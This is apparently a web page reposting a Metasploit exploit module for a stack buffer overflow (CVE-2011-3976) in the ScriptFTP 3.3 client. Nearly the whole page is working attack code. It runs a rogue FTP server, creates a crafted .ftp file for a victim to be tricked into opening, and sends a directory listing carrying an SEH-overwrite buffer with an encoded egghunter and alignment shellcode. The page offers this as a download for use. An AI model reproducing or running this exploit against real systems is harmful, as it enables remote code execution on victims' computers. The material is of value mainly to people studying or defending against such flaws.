read, write, eXecute…

ScriptFTP ⇐ 3.3 list command stack buffer overflow vulnerability download
##
# $Id: scriptftp_list.rb 13848 2011-10-09 22:56:17Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
        Rank = GoodRanking

        include Msf::Exploit::Remote::FtpServer
        include Msf::Exploit::FILEFORMAT
        include Msf::Exploit::Egghunter

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)',
                        'Description'    => %q{
                                        AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
                                vulnerability that is triggered when processing a sufficiently long filename during
                                a FTP LIST command resulting in overwriting the exception handler. Social engineering
                                of executing a specially crafted ftp file by double click will result in connecting to
                                our malcious server and perform arbitrary code execution which allows the attacker
                                to gain the same rights as the user running ScriptFTP.
                        },
                        'License'        => MSF_LICENSE,
                        'Version'        => "$Revision: 13848 $",
                        'Author'         =>
                                [
                                        'modpr0be', #Vulnerability discovery and original exploit
                                        'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
                                        'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
                                ],
                        'References'     =>
                                [
                                        [ 'CVE', '2011-3976' ],
                                        [ 'OSVDB', '75633' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/17876/' ],
                                        [ 'URL', 'http://www.kb.cert.org/vuls/id/440219' ],
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'thread',
                                        'DisablePayloadHandler' => 'false',
                                },
                        'Payload'        =>
                                {
                                        'BadChars'        => "\x00\xff\x0d\x5c\x2f\x0a",
                                        'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
                                        'EncoderOptions'  =>
                                        {
                                                'BufferRegister' => 'EDI',  # Egghunter jmp edi
                                        }
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        # CALL DWORD PTR SS:[EBP-4]
                                        # scriptftp.exe - File version=Build 3/9/2009
                                        [ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
                                ],
                        'Privileged'     => false,
                        'DisclosureDate' => 'Oct 12 2011',
                        'DefaultTarget'  => 0))

                        register_options(
                        [
                                OptString.new('FILENAME',   [ true, 'The file name.',  'msf.ftp']),
                        ], self.class)

        end

        def setup
                if datastore['SRVHOST'] == '0.0.0.0'
                        lhost = Rex::Socket.source_address('50.50.50.50')
                else
                        lhost = datastore['SRVHOST']
                end

                ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
                ftp_file << "SETPASSIVE(ENABLED)\r\n"
                ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
                ftp_file << "CLOSEHOST\r\n"

                print_status("Creating '#{datastore['FILENAME']}'...")
                file_create(ftp_file)
                super
        end


        def on_client_unknown_command(c,cmd,arg)
                c.put("200 OK\r\n")
        end

        def on_client_command_list(c,arg)

                conn = establish_data_connection(c)
                if(not conn)
                        c.put("425 Can't build data connection\r\n")
                        return
                end

                print_status(" - Data connection set up")
                code = 150
                c.put("#{code} Here comes the directory listing.\r\n")

                code = 226
                c.put("#{code} Directory send ok.\r\n")

                eggoptions =
                {
                        :checksum => false,
                        :eggtag => 'cure'
                }

                hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

                # Encode with alphamixed, then unicode mixed
                [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
                        enc = framework.encoders.create(name)
                        if name =~ /unicode/
                                # aligned to ESP & EAX
                                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
                        else
                                enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
                        end
                        # NOTE: we already eliminated badchars
                        hunter = enc.encode(hunter, nil, nil, platform)
                        if name =~/alpha/
                                #insert getpc_stub & align EDX, unicode encoder friendly.
                                #Hardcoded stub is not an issue here because it gets encoded anyway
                                getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
                                hunter = getpc_stub + hunter
                        end
                }

                unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL

                nseh = "\x61" << unicode_nop
                seh = target.ret

                alignment = "\x54"  # PUSH ESP
                alignment << unicode_nop
                alignment << "\x58"  # POP EAX
                alignment << unicode_nop
                alignment << "\x05\x12\x11"  # ADD EAX,11001200
                alignment << unicode_nop
                alignment << "\x2d\x01\x01"  # SUB EAX,1000100
                alignment << unicode_nop
                alignment << "\x2d\x01\x10"  # SUB EAX,10000100
                alignment << unicode_nop
                alignment << "\x50"  # PUSH EAX
                alignment << unicode_nop
                alignment << "\xc3"  # RETN

                buffer = rand_text_alpha(656)
                buffer << hunter
                buffer << rand_text_alpha(target['Offset']-buffer.length)
                buffer << nseh
                buffer << seh
                buffer << alignment
                buffer << rand_text_alpha(500)
                buffer << egg

                print_status(" - Sending directory list via data connection")
                dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
                dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
                dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

                conn.put(dirlist)
                conn.close
                return
        end

end
example usage
-